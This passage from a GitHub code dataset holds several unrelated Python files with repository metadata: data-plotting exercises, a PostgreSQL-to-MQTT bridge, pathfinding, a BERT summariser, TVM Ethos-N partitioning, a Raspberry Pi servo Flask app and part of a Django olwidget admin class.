\".format(e))\n sys.exit(1)\n if not len(recv_buffer):\n break\n sys.stdout.write(recv_buffer)\n\nif __name__==\"__main__\":\n Server()\n","repo_name":"PalagesiuCezar/Networking","sub_path":"first_argparser/main_server.py","file_name":"main_server.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27938729172","text":"from elice_utils import EliceUtils\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nelice_utils = EliceUtils()\n\n# 아래 경로에서 csv파일을 읽어서 df 변수에 저장해보세요.\n# 경로: \"./data/pokemon.csv\"\ndf = pd.read_csv(\"./data/pokemon.csv\")\n\n# 공격 타입 Type 1, Type 2 중에 Fire 속성이 존재하는 데이터들만 추출해보세요.\nfire = df[(df['Type 1'] == 'Fire') | (df['Type 2'] == 'Fire')]\n# 공격 타입 Type 1, Type 2 중에 Water 속성이 존재하는 데이터들만 추출해보세요.\nwater = df[(df['Type 1'] == 'Water') | (df['Type 2'] == 'Water')]\n\nfig, ax = plt.subplots()\n# 왼쪽 표를 참고하여 아래 코드를 완성해보세요.\nax.scatter(fire['Attack'], fire['Defense'],\n marker='*', color='red', label='Fire', s=50)\nax.scatter(water['Attack'], water['Defense'],\n marker='.', color='blue', label='Water', s=25)\n\nax.set_xlabel(\"Attack\")\nax.set_ylabel(\"Defense\")\nax.legend(loc=\"upper right\")\n\n# elice에서 그래프 확인하기\nfig.savefig(\"plot.png\")\nelice_utils.send_image(\"plot.png\")\n\n","repo_name":"X3N064/Elice_AI_Lab","sub_path":"beginner/파이썬 데이터 분석 기초/04 Matplotlib 데이터 시각화/[실습4] Matplotlib with Pandas/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"24416403009","text":"import os\nimport subprocess\nimport paho.mqtt.client as mqtt\n\n_DB_USER = ''\n\n\ndef _on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \" + str(rc))\n #client.will_set(\"database/logical\", \"{'status': 'offline'}\", qos=2, retain=True)\n\n\npg_recvlogical = subprocess.Popen(\n ['pg_recvlogical.exe', '-n', '-U', _DB_USER, '-d', 'logical', '--slot', 'mqtt_slot', '--start', '-o', 'format-version=2', '-f', '-'], stdout=subprocess.PIPE, universal_newlines=True)\n\nclient = mqtt.Client()\nclient.on_connect = _on_connect\n\nclient.connect(\"localhost\", 1883, 60)\n\nclient.loop_start()\n\nwhile True:\n payload = pg_recvlogical.stdout.readline().rstrip(os.linesep)\n\n if payload:\n print(payload)\n client.publish(\"database/logical\", payload, qos=2, retain=False)\n","repo_name":"ergo70/PostgreSQL2MQTT","sub_path":"pg_recvlogical/pg_recvlogical.py","file_name":"pg_recvlogical.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"14200893891","text":"from pathfinding.core.diagonal_movement import DiagonalMovement\nfrom pathfinding.core.grid import Grid\nfrom pathfinding.finder.a_star import AStarFinder\n\n\nclass Solution:\n def __init__(self, inputLines):\n self.matrix = [[int(digit) for digit in line] for line in inputLines]\n self.grid = Grid(matrix=self.matrix)\n self.finder = AStarFinder(diagonal_movement=DiagonalMovement.never)\n\n def find_path_of_lowest_risk(self):\n start = self.grid.node(0, 0)\n end = self.grid.node(self.grid.width-1, self.grid.height-1)\n path, runs = self.finder.find_path(start, end, self.grid)\n return path\n\n def get_risk_coefficient_of_lowest_risk_path(self):\n path = self.find_path_of_lowest_risk()\n totalRisk = 0\n for x, y in path[1:]:\n totalRisk += self.matrix[y][x]\n return totalRisk\n\n\nif __name__ == \"__main__\":\n with open(r\"Input\\2021day15.txt\") as inputFile:\n inputLines = [line.strip() for line in inputFile.readlines()]\n\n solver = Solution(inputLines)\n result = solver.get_risk_coefficient_of_lowest_risk_path()\n print(f\"Risk coefficient of lowest risk path: {result}\")\n","repo_name":"Lordfirespeed/BunchaPythonStuff","sub_path":"Advent of Code/2021/2021day15p1.py","file_name":"2021day15p1.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11789007514","text":"import os\nos.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\"\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"-1\"\nimport bert_master.modeling as modeling\nfrom data_loader import TextLoader\nimport numpy as np\nimport tensorflow as tf\n\n\nclass Project_model():\n def __init__(self, bert_root, data_path, model_save_path, batch_size, max_len, max_sent, lr, keep_prob,data_mode):\n self.bert_root = bert_root\n self.data_path = data_path\n self.model_save_path = model_save_path\n self.batch_size = batch_size\n self.max_len = max_len\n self.max_sent = max_sent\n self.lr = lr\n self.keep_prob = keep_prob\n self.data_mode = data_mode\n\n self.bert_config()\n self.get_output()\n self.get_loss(True)\n self.get_accuracy()\n self.get_trainOp()\n # self.init_saver()\n\n def bert_config(self):\n bert_config_file = os.path.join(self.bert_root, 'bert_config.json')\n # 获取预训练模型的参数文件\n self.bert_config = modeling.BertConfig.from_json_file(bert_config_file)\n self.init_checkpoint = os.path.join(self.bert_root, 'bert_model.ckpt')\n self.bert_vocab_file = os.path.join(self.bert_root, 'vocab.txt')\n # 初始化变量\n self.input_ids = tf.placeholder(tf.int32, shape=[None, None], name='input_ids')\n self.input_mask = tf.placeholder(tf.int32, shape=[None, None], name='input_masks')\n self.segment_ids = tf.placeholder(tf.int32, shape=[None, None], name='segment_ids')\n self.input_y = tf.placeholder(tf.float32, shape=[None, self.max_sent, 1], name=\"input_y\")\n self.global_step = tf.Variable(0, trainable=False)\n output_weights = tf.get_variable(\"output_weights\", [768, self.max_sent],\n initializer=tf.random_normal_initializer(stddev=0.1))\n output_bias = tf.get_variable(\"output_bias\", [self.max_sent, ],\n initializer=tf.random_normal_initializer(stddev=0.01))\n self.w_out = output_weights\n self.b_out = output_bias\n # 初始化bert model\n model = modeling.BertModel(\n config=self.bert_config,\n is_training=False,\n input_ids=self.input_ids,\n input_mask=self.input_mask,\n token_type_ids=self.segment_ids,\n use_one_hot_embeddings=False)\n # 变量赋值\n tvars = tf.trainable_variables()\n (assignment, initialized_variable_names) = modeling.get_assignment_map_from_checkpoint(tvars,\n self.init_checkpoint)\n tf.train.init_from_checkpoint(self.init_checkpoint, assignment)\n # 这个获取句子的output,shape = 768\n output_layer_pooled = model.get_pooled_output()\n # 添加dropout层,减轻过拟合\n self.output_layer_pooled = tf.nn.dropout(output_layer_pooled, keep_prob=self.keep_prob)\n # return self.output_layer_pooled\n\n def get_output(self):\n # pred 全连接层 768-->max_sent\n self.pred = tf.add(tf.matmul(self.output_layer_pooled, self.w_out), self.b_out, name=\"pre1\")\n # probabilities = [概率分布],shape=[batch_size,max_sent]\n self.probabilities = tf.nn.softmax(self.pred, axis=-1, name='probabilities') # 和sigmoid\n # log_probs = [对数概率分布],shape=[batch_size,max_sent]\n self.log_probs = tf.nn.log_softmax(self.pred, axis=-1, name='log_probs')\n # 维度转换\n self.pred = tf.reshape(self.pred, shape=[-1, self.max_sent], name='pre')\n return self.pred\n\n def get_loss(self, if_regularization=True):\n net_loss = tf.square(tf.reshape(self.pred, [-1]) - tf.reshape(self.input_y, [-1]))\n\n if if_regularization:\n tf.add_to_collection(tf.GraphKeys.WEIGHTS, self.w_out)\n tf.add_to_collection(tf.GraphKeys.BIASES, self.b_out)\n regularizer = tf.contrib.layers.l1_regularizer(scale=5.0 / 50000)\n reg_loss = tf.contrib.layers.apply_regularization(regularizer)\n net_loss = net_loss + reg_loss\n self.loss = tf.math.reduce_sum(net_loss)/(self.batch_size*self.max_sent)\n return self.loss\n\n def get_trainOp(self):\n self.train_op = tf.train.AdamOptimizer(self.lr).minimize(self.loss)\n return self.train_op\n\n def get_accuracy(self):\n self.predicts = tf.argmax(self.pred, axis=-1)\n self.predicts_bool = tf.math.greater(self.probabilities, tf.constant(0.03))\n self.actuals = tf.argmax(self.input_y, axis=-1)\n self.accuracy = tf.reduce_mean(tf.cast(tf.equal(self.predicts, self.actuals), dtype=tf.float32))\n\n def evaluate(self, sess, devdata):\n data_loader = TextLoader(devdata, self.batch_size, self.max_sent,self.data_mode)\n predictions = []\n reals = []\n tokens = []\n for i in range(data_loader.num_batches):\n x_train, y_train, z_train= data_loader.next_batch(i)\n x_input_ids = x_train[:, 0]\n x_input_mask = x_train[:, 1]\n x_segment_ids = x_train[:, 2]\n feed_dict = {self.input_ids: x_input_ids, self.input_mask: x_input_mask,\n self.segment_ids: x_segment_ids,\n self.input_y: y_train}\n pre = sess.run(self.probabilities , feed_dict=feed_dict)\n predictions.append(pre)\n real = feed_dict[self.input_y]\n real.resize([self.batch_size, 32])\n reals.append(real)\n tokens.append(z_train)\n return predictions, reals, tokens\n\n\n def predict(self, sess, devdata):\n data_loader = TextLoader(devdata, self.batch_size, self.max_sent,self.data_mode)\n predictions = []\n tokens = []\n for i in range(data_loader.num_batches):\n x_train, z_train= data_loader.next_batch(i)\n x_input_ids = x_train[:, 0]\n x_input_mask = x_train[:, 1]\n x_segment_ids = x_train[:, 2]\n feed_dict = {self.input_ids: x_input_ids, self.input_mask: x_input_mask,\n self.segment_ids: x_segment_ids}\n pre = sess.run(self.probabilities , feed_dict=feed_dict)\n predictions.append(pre)\n tokens.append(z_train)\n print('num_batches:',i+1)\n return predictions,tokens\n\n def run_step(self, sess, x_train, y_train):\n x_input_ids = x_train[:, 0]\n x_input_mask = x_train[:, 1]\n x_segment_ids = x_train[:, 2]\n step, loss_, _ = sess.run([self.global_step, self.loss, self.train_op],\n feed_dict={self.input_ids: x_input_ids, self.input_mask: x_input_mask,\n self.segment_ids: x_segment_ids,\n self.input_y: y_train})\n return step, loss_\n\n def get_quater(self,probabilities):\n print(probabilities)\n with tf.Session() as session:\n init = tf.global_variables_initializer()\n session.run(init)\n prob_list = probabilities.eval()\n p = []\n for i in range(len(prob_list)):\n b = np.percentile(self.prob_list[i], [75])\n p.append(b)\n p = np.array(p)\n print(p, type(p))\n return p","repo_name":"zhangwanyu2020/Q-A-Summary","sub_path":"Bert_for_summarize/modeling.py","file_name":"modeling.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"72"} +{"seq_id":"40157255242","text":"from enum import Enum\nimport warnings\nfrom distutils.version import LooseVersion\n\nimport tvm.ir\nfrom tvm.relay import transform\nfrom tvm.relay.build_module import bind_params_by_name\n\nfrom ...dataflow_pattern import is_constant, is_op, wildcard\nfrom . import _ethosn\nfrom .register import register_pattern_table\n\n\nclass Available(Enum):\n UNAVAILABLE = 0\n SW_ONLY = 1\n SW_AND_HW = 2\n\n def __bool__(self):\n return self != Available.UNAVAILABLE\n\n\ndef ethosn_available():\n \"\"\"Return whether Ethos-N software and hardware support is available\"\"\"\n if not tvm.get_global_func(\"relay.ethos-n.query\", True):\n print(\"skip because Ethos-N module is not available\")\n return Available.UNAVAILABLE\n hw = tvm.get_global_func(\"relay.ethos-n.query\")()\n return Available.SW_AND_HW if hw else Available.SW_ONLY\n\n\ndef ethosn_api_version() -> str:\n \"\"\"\n Returns the semantic version of the driver stack api that is\n being used.\n\n Returns\n -------\n str\n Semantic version string (e.g. 3.0.1).\n \"\"\"\n return tvm.get_global_func(\"relay.ethos-n.api.version\")()\n\n\ndef ConvertEquivalents() -> tvm.ir.IRModule: # pylint: disable=invalid-name\n \"\"\"Converts operations into a numerically equivalent form\n that can be understood by the NPU codegen.\n\n Return\n ------\n Pass\n The module pass.\n \"\"\"\n return _ethosn.ConvertEquivalents()\n\n\ndef partition_for_ethosn(mod, params=None, **opts):\n \"\"\"Partition the graph greedily offloading supported\n operators to Arm Ethos-N NPU.\n\n Parameters\n ----------\n mod : Module\n The module to run passes on.\n params : Optional[Dict[str, NDArray]]\n Constant input parameters.\n\n Returns\n -------\n ret : annotated and partitioned module.\n \"\"\"\n opts = opts or {}\n if \"variant\" not in opts:\n raise ValueError(\"Please specify a variant in the target string, e.g. -variant=n78.\")\n\n # -variant=ethos-n78 deprecated in favour of -variant=n78\n if opts[\"variant\"].lower() == \"ethos-n78\":\n warnings.warn(\n \"Please use '-variant=n78' instead of the deprecated \"\n \"'-variant=ethos-n78', which will be removed in TVM v0.9.\",\n DeprecationWarning,\n )\n elif opts[\"variant\"] != \"n78\":\n raise ValueError(\"When targeting Ethos(TM)-N78, -variant=n78 should be set.\")\n\n api_version = ethosn_api_version()\n supported_api_versions = [\"3.0.1\", \"3.1.0\"]\n if all(api_version != LooseVersion(exp_ver) for exp_ver in supported_api_versions):\n raise ValueError(\n f\"Driver stack version {api_version} is unsupported. \"\n f\"Please use version in {supported_api_versions}.\"\n )\n\n if params:\n mod[\"main\"] = bind_params_by_name(mod[\"main\"], params)\n\n seq = tvm.transform.Sequential(\n [\n transform.InferType(),\n transform.MergeComposite(pattern_table()),\n transform.AnnotateTarget(\"ethos-n\"),\n transform.MergeCompilerRegions(),\n transform.PartitionGraph(),\n ConvertEquivalents(),\n ]\n )\n return seq(mod)\n\n\n@register_pattern_table(\"ethos-n\")\ndef pattern_table():\n \"\"\"Get the Ethos-N compiler pattern table.\"\"\"\n\n def qnn_conv_pattern():\n pattern = is_op(\"nn.pad\")(wildcard(), wildcard()) | wildcard()\n pattern = is_op(\"qnn.conv2d\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant(), is_constant()\n )\n pattern = is_op(\"nn.bias_add\")(pattern, is_constant())\n pattern = is_op(\"qnn.requantize\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def qnn_fc_pattern():\n pattern = is_op(\"qnn.dense\")(\n wildcard(), is_constant(), is_constant(), is_constant(), is_constant(), is_constant()\n )\n pattern = is_op(\"nn.bias_add\")(pattern, is_constant())\n pattern = is_op(\"qnn.requantize\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def qnn_avg_pool2d_pattern():\n pattern = is_op(\"cast\")(wildcard())\n pattern = is_op(\"nn.avg_pool2d\")(pattern)\n pattern = is_op(\"cast\")(pattern)\n return pattern\n\n def qnn_sigmoid_pattern():\n pattern = is_op(\"qnn.dequantize\")(wildcard(), is_constant(), is_constant())\n pattern = is_op(\"sigmoid\")(pattern)\n pattern = is_op(\"qnn.quantize\")(pattern, is_constant(), is_constant())\n return pattern\n\n def qnn_mean_pattern():\n pattern = is_op(\"cast\")(wildcard())\n pattern = is_op(\"mean\")(pattern)\n pattern = is_op(\"qnn.requantize\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def qnn_tanh_pattern():\n pattern = is_op(\"qnn.dequantize\")(wildcard(), is_constant(), is_constant())\n pattern = is_op(\"tanh\")(pattern)\n pattern = is_op(\"qnn.quantize\")(pattern, is_constant(), is_constant())\n return pattern\n\n def qnn_leaky_relu_pattern():\n pattern = is_op(\"qnn.dequantize\")(wildcard(), is_constant(), is_constant())\n pattern = is_op(\"nn.leaky_relu\")(pattern)\n pattern = is_op(\"qnn.quantize\")(pattern, is_constant(), is_constant())\n return pattern\n\n def qnn_requantize_pattern():\n pattern = is_op(\"qnn.requantize\")(\n wildcard(), is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def qnn_resize_pattern():\n pattern = is_op(\"image.resize2d\")(wildcard()).has_attr({\"method\": \"nearest_neighbor\"})\n pattern = is_op(\"qnn.requantize\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def qnn_mul_pattern():\n \"\"\"\n Multiply is supported when one input is a constant of shape [1, ..., C],\n where C matches the number of channels of the other input.\n \"\"\"\n mul_op = is_op(\"qnn.mul\")\n gen_mul_inputs = lambda x, y: mul_op(\n x,\n y,\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n )\n input_is_left = gen_mul_inputs(wildcard(), is_constant())\n input_is_right = gen_mul_inputs(is_constant(), wildcard())\n return input_is_left | input_is_right\n\n def qnn_add_pattern():\n add_op = is_op(\"qnn.add\")\n gen_add_inputs = lambda x, y: add_op(\n x,\n y,\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n is_constant(),\n )\n two_inputs = gen_add_inputs(wildcard(), wildcard())\n input_is_left = gen_add_inputs(wildcard(), is_constant())\n input_is_right = gen_add_inputs(is_constant(), wildcard())\n\n return input_is_left | input_is_right | two_inputs\n\n def qnn_conv2d_transpose_pattern():\n pattern = is_op(\"qnn.conv2d_transpose\")(\n wildcard(), is_constant(), is_constant(), is_constant(), is_constant(), is_constant()\n ).has_attr({\"data_layout\": \"NHWC\"})\n pattern = pattern.optional(lambda x: is_op(\"nn.bias_add\")(x, is_constant()))\n pattern = is_op(\"qnn.requantize\")(\n pattern, is_constant(), is_constant(), is_constant(), is_constant()\n )\n return pattern\n\n def check_conv2d(extract):\n \"\"\"Check if a conv2d is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.conv2d(extract)\n\n def check_fc(extract):\n \"\"\"Check if a fully connected is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.fc(extract)\n\n def check_avg_pool2d(extract):\n \"\"\"Check if a avg pool2d is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.avg_pool2d(extract)\n\n def check_mean(extract):\n \"\"\"Check if mean is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.mean(extract)\n\n def check_conv2d_transpose(extract):\n \"\"\"Check if conv2d_transpose is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.conv2d_transpose(extract)\n\n def check_sigmoid(extract):\n \"\"\"Check if a sigmoid is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.sigmoid(extract)\n\n def check_tanh(extract):\n \"\"\"Check if tanh is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.tanh(extract)\n\n def check_leaky_relu(extract):\n \"\"\"Check if Leaky ReLU is supported.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.leaky_relu(extract)\n\n def check_mul(extract):\n \"\"\"Check if Mul is supported.\"\"\"\n if not ethosn_available():\n return False\n # Do not support scalar constants for now\n check_scalar = lambda i: isinstance(i, tvm.relay.Constant) and len(i.data.shape) == 0\n if check_scalar(extract.args[0]) or check_scalar(extract.args[1]):\n return False\n extract = _ethosn.ConvertQnnMultiply(extract)\n return _ethosn.conv2d(extract)\n\n def check_requantize(extract):\n \"\"\"Check if requantize is supported.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.requantize(extract)\n\n def check_resize(extract):\n \"\"\"Check if resize (nearest neighbor) is supported.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.resize(extract)\n\n def check_add(extract):\n \"\"\"Check if an addition is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n # Do not support scalar constants for now\n check_scalar = lambda i: isinstance(i, tvm.relay.Constant) and len(i.data.shape) == 0\n if check_scalar(extract.args[0]) or check_scalar(extract.args[1]):\n return False\n\n inputs = extract.args[0:2]\n if any([isinstance(i, tvm.relay.Constant) for i in inputs]):\n extract = _ethosn.ConvertQnnAdd(extract)\n return _ethosn.conv2d(extract)\n return _ethosn.addition(extract)\n\n return [\n (\"ethos-n.qnn_mul\", qnn_mul_pattern(), check_mul),\n (\"ethos-n.qnn_add\", qnn_add_pattern(), check_add),\n (\"ethos-n.qnn_conv2d\", qnn_conv_pattern(), check_conv2d),\n (\"ethos-n.qnn_conv2d_transpose\", qnn_conv2d_transpose_pattern(), check_conv2d_transpose),\n (\"ethos-n.qnn_avg_pool2d\", qnn_avg_pool2d_pattern(), check_avg_pool2d),\n (\"ethos-n.qnn_sigmoid\", qnn_sigmoid_pattern(), check_sigmoid),\n (\"ethos-n.qnn_fc\", qnn_fc_pattern(), check_fc),\n (\"ethos-n.qnn_mean\", qnn_mean_pattern(), check_mean),\n (\"ethos-n.qnn_tanh\", qnn_tanh_pattern(), check_tanh),\n (\"ethos-n.qnn_leaky_relu\", qnn_leaky_relu_pattern(), check_leaky_relu),\n (\"ethos-n.qnn_resize\", qnn_resize_pattern(), check_resize),\n (\"ethos-n.qnn_requantize\", qnn_requantize_pattern(), check_requantize),\n ]\n\n\ndef _is_ethosn_composite(node):\n if isinstance(node, tvm.relay.expr.Call) and isinstance(node.op, tvm.relay.Function):\n if \"Composite\" in node.op.attrs:\n comp_name = node.op.attrs[\"Composite\"]\n return comp_name.split(\".\")[0] == \"ethos-n\"\n\n return False\n\n\n@tvm.ir.register_op_attr(\"nn.max_pool2d\", \"target.ethos-n\")\ndef max_pool2d(expr):\n \"\"\"Check if a max pool2d is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.max_pool2d(expr)\n\n\n@tvm.ir.register_op_attr(\"reshape\", \"target.ethos-n\")\ndef reshape(expr):\n \"\"\"Check if a reshape is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n\n return _ethosn.reshape(expr)\n\n\n@tvm.ir.register_op_attr(\"qnn.concatenate\", \"target.ethos-n\")\ndef qnn_concatenate(expr):\n \"\"\"Check if a concatenate is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n if not _ethosn.concatenate(expr):\n return False\n\n # Support library has some unenforced restrictions on qnn params\n args = expr.args\n min_range = 1e9\n max_range = -1e9\n qnn_params = []\n for i in range(len(args[1].fields)):\n scale = args[1].fields[i].data.numpy()\n zero_point = args[2].fields[i].data.numpy()\n min_range = min(-1 * zero_point * scale, min_range)\n max_range = max((255 - zero_point) * scale, max_range)\n qnn_params.append((scale, zero_point))\n\n scale = (max_range - min_range) / 255\n zero_point = int(-min_range / scale)\n if (scale, zero_point) in qnn_params:\n return True\n\n return False\n\n\n@tvm.ir.register_op_attr(\"split\", \"target.ethos-n\")\ndef split(expr):\n \"\"\"Check if a split is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n if ethosn_api_version() == LooseVersion(\"3.0.1\"):\n return False\n if not _ethosn.split(expr):\n return False\n\n return True\n\n\n@tvm.ir.register_op_attr(\"nn.depth_to_space\", \"target.ethos-n\")\ndef depth_to_space(expr):\n \"\"\"Check if a depth_to_space is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n if not _ethosn.depth_to_space(expr):\n return False\n\n return True\n\n\n@tvm.ir.register_op_attr(\"clip\", \"target.ethos-n\")\ndef clip(expr):\n \"\"\"Check if a clip is supported by Ethos-N.\"\"\"\n if not ethosn_available():\n return False\n if not _ethosn.relu(expr):\n return False\n\n return True\n","repo_name":"Edgecortix-Inc/mera-tvm-public","sub_path":"python/tvm/relay/op/contrib/ethosn.py","file_name":"ethosn.py","file_ext":"py","file_size_in_byte":13870,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"10457000307","text":"from flask import Flask, escape\nfrom flask_cors import CORS\nimport RPi.GPIO as GPIO\nfrom time import sleep\n\nservoPIN = 17\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(servoPIN, GPIO.OUT)\n\npwm = GPIO.PWM(servoPIN, 50) # GPIO 17 for PWM @ 50hz\npwm.start(0) # Initialization\n\napp = Flask(__name__)\nCORS(app)\n\n\ndef SetAngle(angle):\n duty = angle/18 + 2\n GPIO.output(servoPIN, True)\n pwm.ChangeDutyCycle(duty)\n sleep(1)\n GPIO.output(servoPIN, False)\n pwm.ChangeDutyCycle(0)\n\n\n@app.route('/')\ndef index():\n return 'Home'\n\n\n@app.route('/user/', methods=['GET', 'POST'])\ndef user(user):\n return {'user': escape(user)}\n\n\n@app.route('/bootprinter', methods=['GET'])\ndef bootprinter_status():\n print(\"Check things aren't broken....\")\n return {'status': 'OK'}\n\n\n@app.route('/bootprinter', methods=['POST'])\ndef bootprinter_execute():\n print(\"Boot Printer servo code....\")\n return ('', 204)\n\n\n@app.route('/bootpc', methods=['GET'])\ndef bootpc_status():\n print(\"Check things aren't broken....\")\n return {'status': 'OK'}\n\n\n@app.route('/bootpc', methods=['POST'])\ndef bootpc_execute():\n print(\"Boot PC servo code....\")\n SetAngle(90)\n sleep(2)\n SetAngle(0)\n sleep(2)\n return ('', 204)\n","repo_name":"MitchB09/HomeAutomationServer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21931792398","text":"\"\"\"\nExample to use olwidget for mapping in the django admin site::\n\n from olwidget import admin\n from myapp import SomeGeoModel\n\n admin.site.register(SomeGeoModel, admin.GeoModelAdmin)\n\nIf you want to use custom OLWidget options to change the look and feel of the\nmap, just subclass GeoModelAdmin, and define \"options\", for example::\n\n class CustomGeoAdmin(admin.GeoModelAdmin):\n options = {\n 'layers': ['google.hybrid'],\n 'overlayStyle': {\n 'fillColor': '#ffff00',\n 'strokeWidth': 5,\n },\n 'defaultLon': -72,\n 'defaultLat': 44,\n 'defaultZoom': 4,\n }\n\n admin.site.register(SomeGeoModel, CustomGeoAdmin)\n\nA complete list of options is in the olwidget documentation.\n\"\"\"\n\n# Get the parts necessary for the methods we override #{{{\nfrom django.contrib.admin import ModelAdmin\nfrom django.contrib.admin import helpers\nfrom django.contrib.gis.geos import GeometryCollection\nfrom django.shortcuts import render_to_response\nfrom django import template\nfrom django.contrib.admin.options import IncorrectLookupParameters, csrf_protect_m\nfrom django.http import HttpResponseRedirect\nfrom django.core.exceptions import PermissionDenied\nfrom django.utils.translation import ugettext as _\nfrom django.utils.translation import ungettext\n#}}}\nfrom django.utils.encoding import force_unicode\n\nfrom olwidget.forms import apply_maps_to_modelform_fields, fix_initial_data, fix_cleaned_data\nfrom olwidget.widgets import InfoMap\nfrom olwidget.utils import DEFAULT_PROJ\n\n__all__ = ('GeoModelAdmin',)\n\nclass GeoModelAdmin(ModelAdmin):\n options = None\n map_template = \"olwidget/admin_olwidget.html\"\n list_map = None\n list_map_options = None\n maps = None\n change_list_template = \"admin/olwidget_change_list.html\"\n default_field_class = None\n\n def get_form(self, *args, **kwargs):\n \"\"\"\n Get a ModelForm with our own `__init__` and `clean` methods. However,\n we need to allow ModelForm's metaclass_factory to run unimpeded, so\n dynamically override the methods rather than subclassing.\n \"\"\"\n # Get the vanilla modelform class\n ModelForm = super(GeoModelAdmin, self).get_form(*args, **kwargs)\n\n # enclose klass.__init__\n orig_init = ModelForm.__init__\n def new_init(self, *args, **kwargs):\n orig_init(self, *args, **kwargs)\n fix_initial_data(self.initial, self.initial_data_keymap)\n\n # enclose klass.clean\n orig_clean = ModelForm.clean\n def new_clean(self):\n orig_clean(self)\n fix_cleaned_data(self.cleaned_data, self.initial_data_keymap)\n return self.cleaned_data\n\n # Override methods\n ModelForm.__init__ = new_init\n ModelForm.clean = new_clean\n\n # Rearrange fields\n ModelForm.initial_data_keymap = apply_maps_to_modelform_fields(\n ModelForm.base_fields, self.maps, self.options,\n self.map_template,\n default_field_class=self.default_field_class)\n return ModelForm\n\n def get_changelist_map(self, cl, request=None):\n def mygetattr(obj,prop):\n if len(prop) == 1:\n return getattr(obj,prop[0])\n else:\n return mygetattr(getattr(obj,prop[0]),prop[1:])\n\n \"\"\"\n Display a map in the admin changelist, with info popups\n \"\"\"\n if self.list_map:\n info = []\n #for obj in cl.get_query_set():\n if request:\n qs = cl.get_query_set(request)\n else:\n qs = cl.get_query_set()\n for obj in qs:\n # Transform the fields into one projection.\n geoms = []\n\n for field in self.list_map:\n geom = mygetattr(obj, field.split('.'))\n\n if geom:\n if callable(geom):\n geom = geom()\n geoms.append(geom)\n for geom in geoms:\n geom.transform(int(DEFAULT_PROJ))\n\n if geoms:\n # Because this is a massive hack, I know that only my code is calling this line\n # Therefore I can add additional info that shouldn't be added\n if 'no_list_display_link' in self.list_map_options:\n info_text = \"Facility %d: %s\" % (getattr(obj, 'facility').pk, force_unicode(obj))\n else:\n info_text = \"
%s\" % (cl.url_for_result(obj), force_unicode(obj))\n info.append((\n GeometryCollection(geoms, srid=int(DEFAULT_PROJ)),\n info_text\n ))\n\n return InfoMap(info, options=self.list_map_options)\n return None\n\n @csrf_protect_m\n def changelist_view(self, request, extra_context=None):\n #template_response = super(GeoModelAdmin, self).changelist_view(request, extra_context)\n #map_ = self.get_changelist_map(template_response.context['cl'], request)\n #if map_:\n # template_response.context_data['media'] += map_.media\n # template_response.context_data['map'] = map_\n #return template_response\n #\n # This implementation is all copied from the parent, and only modified\n # for a few lines where marked to add a map to the change list.\n #\n \"The 'change list' admin view for this model.\"\n from django.contrib.admin.views.main import ERROR_FLAG\n opts = self.model._meta\n app_label = opts.app_label\n if not self.has_change_permission(request, None):\n raise PermissionDenied\n\n # Check actions to see if any are available on this changelist\n actions = self.get_actions(request)\n\n # Remove action checkboxes if there aren't any actions available.\n list_display = list(self.list_display)\n if not actions:\n try:\n list_display.remove('action_checkbox')\n except ValueError:\n pass\n\n ChangeList = self.get_changelist(request)\n try:\n self.admin_site.root_path = \"\"\n cl = ChangeList(request, self.model, list_display, self.list_display_links, self.list_filter,\n #self.date_hierarchy, self.search_fields, self.list_select_related, self.list_per_page, self.list_editable, self)\n self.date_hierarchy, self.search_fields, self.list_select_related, self.list_per_page, self.list_editable, self.admin_site, self)\n\n except IncorrectLookupParameters:\n # Wacky lookup parameters were given, so redirect to the main\n # changelist page, without parameters, and pass an 'invalid=1'\n # parameter via the query string. If wacky parameters were given and\n # the 'invalid=1' parameter was 